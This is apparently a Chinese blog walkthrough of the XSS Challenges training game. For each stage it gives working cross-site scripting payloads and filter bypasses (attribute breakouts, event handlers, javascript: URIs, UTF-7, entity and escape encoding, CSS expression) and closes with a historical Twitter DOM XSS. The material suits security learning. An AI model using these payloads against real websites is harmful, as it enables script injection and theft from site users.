XSS Challenges/xss-quiz游戏答案

这次记录下XSS Challenges 游戏答案。注入的方式有通过参数传递将script代码段在html中回显,还有注入到事件处理属性里,如onmouseover=”js code”

游戏地址 http://xss-quiz.int21h.jp/

Stage #1

第一关需要在IE下做,chrome会被 阻止,我用的IE11,input中输入

<script>alert(document.domain);</script>

响应的代码是

No results for <b>"<script>alert(document.domain);</script>"</b>

chrome会提示: The XSS Auditor refused to execute a script in ‘http://xss-quiz.int21h.jp/?sid=40d8d9ebfd5e0c6d71c393598b34c01287fff060’ because its source code was found within the request. The auditor was enabled as the server did not send an ‘X-XSS-Protection’ header.

还可以通过event handle attribute(事件处理属性)的方式来做,input中输入下面内容也可通关

<img onerror="alert(document.domain);" src=x>

Stage #2

第二关地址:http://xss-quiz.int21h.jp/stage2.php ,我的答案

 " ><script>alert(document.domain);</script>

第二关是将参数放在input value中 ,响应的代码是,chrome也可以通过

No results for your Query. Try again: <input type="text" name="p1" size="50" value=" " ><script>alert(document.domain);</script>">

Stage #3

第三关地址:http://xss-quiz.int21h.jp/stage-3.php

它会将 < 转成 & lt; > 转成 & gt; 所以无法构造 < >,这里有两个参数,p1=关键词,p2=国家,但漏洞是只对p1作了escape处理, 在F12>Element中直接把name=”p1″和”p2″互换,在input框里再输入<script>alert(document.domain);</script> 即可,POST请求 的参数是

p2: <script>alert(document.domain);</script>
p1: Japan

Stage #4

第四关地址: http://xss-quiz.int21h.jp/stage_4.php ,这一关对p1和p2都做了escape, 但是多了一个input[type=hidden]的字段p3, 在F12 Element中把p3的value=”hackme”,双引号改成单引号

<input type="hidden" name="p3" value='" ><script>alert(document.domain);</script>' >

post参数 p3: " ><script>alert(document.domain);</script> 

Stage #5

第五关地址: http://xss-quiz.int21h.jp/stage–5.php ,这一关设置了 maxlength , 只需 F12 Element中删除这个属性或改成较大的字即可,其它和Stage #2是一样的

" ><script>alert(document.domain);</script>

Stage #6

第六关地址: http://xss-quiz.int21h.jp/stage-no6.php , Hint里提示 event handler attributes 事件处理属性,这里对input输入做了escape处理,且只有一个input字段,除了在HTML 注入<script>,还可以在事件属性中注入函数 , 但需要鼠标移到input上触发

" onmouseover="alert(document.domain);"

Stage #7

第七关地址: http://xss-quiz.int21h.jp/stage07.php ,和第6关差不多,他会把alert两边的”转成””alert(xxx)””导致无法执行,去掉”就可以

"  onmouseover=alert(document.domain)

Stage #8

第八关地址: http://xss-quiz.int21h.jp/stage008.php

javascript:alert(document.domain)

javascript 私有协议,那么构造成下面的代码,只要点击就会通关

<a href="javascript:alert(document.domain)">javascript:alert(document.domain)</a>

Stage #9

第九关地址: http://xss-quiz.int21h.jp/stage_09.php , “被替换成” ” 输入的内容都会被放进value的””里,但这关传递了一个参数: charset: euc-jp ,Hint提示用utf7来攻关, 需要将代码转义成utf7编码,并设置charset参数为utf-7, 请求返回的head里有<meta content=”text/html;charset=utf-7″>

utf7规范文档: https://tools.ietf.org/html/rfc1642
utf7在线编码: http://toolswebtop.com/text/process/encode/utf-7

p1: +ACIAIABv-n+AG0Abw-u+AHM-e+AG8Adg-e+AHIAPQBhAGw-e+AHIAdAAo-d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in+ACkAIA-
或
p1: +ACI- onmouseover=alert(document.domain) +ACI-
charset: utf-7

上面在IE11上可以成功,chrome下并不decode utf-7内容

Stage #10

第10关地址:http://xss-quiz.int21h.jp/stage00010.php, Hint提示这关会把domain给正则替换为空: s/domain//g; ,可以使用evil的eval

"><script>alert(eval('document.do'+'main'));</script>

另一种思路是

"><script>alert(document.dodomainmain);</script>

Stage #11

第11关地址: http://xss-quiz.int21h.jp/stage11th.php ,这关过滤的可多了,Hint里提示的有 “s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;”

彩用href=”javascript”方式同样面临script被替换的问题,可以使用htmlnumber, https://ascii.cl/htmlcodes.htm ,比如将 s 换成 &# 115;

"><a href="java& #115;cript:alert(document.domain);">

Stage #12

第12关地址: http://xss-quiz.int21h.jp/stage_no012.php , 这关会过滤空格,括号,引号,Hint里提示 “s/[\x00-\x20\<\>\”\’]//g;” ,ie下可以用`闭合value=”

`onmouseover=alert(document.domain);

Stage #13

第13关地址:http://xss-quiz.int21h.jp/stage13_0.php, expression是ie独有的

background:expression(alert(document.domain););

Stage #14

第14关地址:http://xss-quiz.int21h.jp/stage-_-14.php,过滤了s/(url|script|eval|expression)/xxx/ig;

background-color:ex/**/pression(onmouseover=function(){alert(document.domain)})

Stage #15

第15关地址:http://xss-quiz.int21h.jp/stage__15.php

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Stage #16

第16关地址:http://xss-quiz.int21h.jp/stage00000016.php,过滤了”s/\\x/\\\\x/ig;”

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Stage #17 & Stage #18

第17关地址:http://xss-quiz.int21h.jp/stage-No17.php
第18关地址:http://xss-quiz.int21h.jp/stage__No18.php
只能在老IE上玩

Stage #19 最后一关

第19关地址:http://xss-quiz.int21h.jp/stage_–19.php
本题源自 Twitter DomXss at Sep 24, 2010, 可以看到页面中有这一段代码

(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(/:/gi,"");}})(window)

核心是

location.href="javascript:alert(document.domain)"

Twitter的代码演变

第一版:
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a;}})(window);
只需构造URL http://twitter.com/#!javascript:alert(document.domain);

第二版:
var c = location.href.split("#!")[1];
if (c) {window.location = c.replace(":", "");} else {return true;}
只需构造URL http://twitter.com/#!javascript::alert(document.domain);

第三版:
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(":","","g");}
})(window);
但IE8浏览器location.href="javascript&x58;alert(document.domain)"

Leave a Reply

Your email address will not be published. Required fields are marked *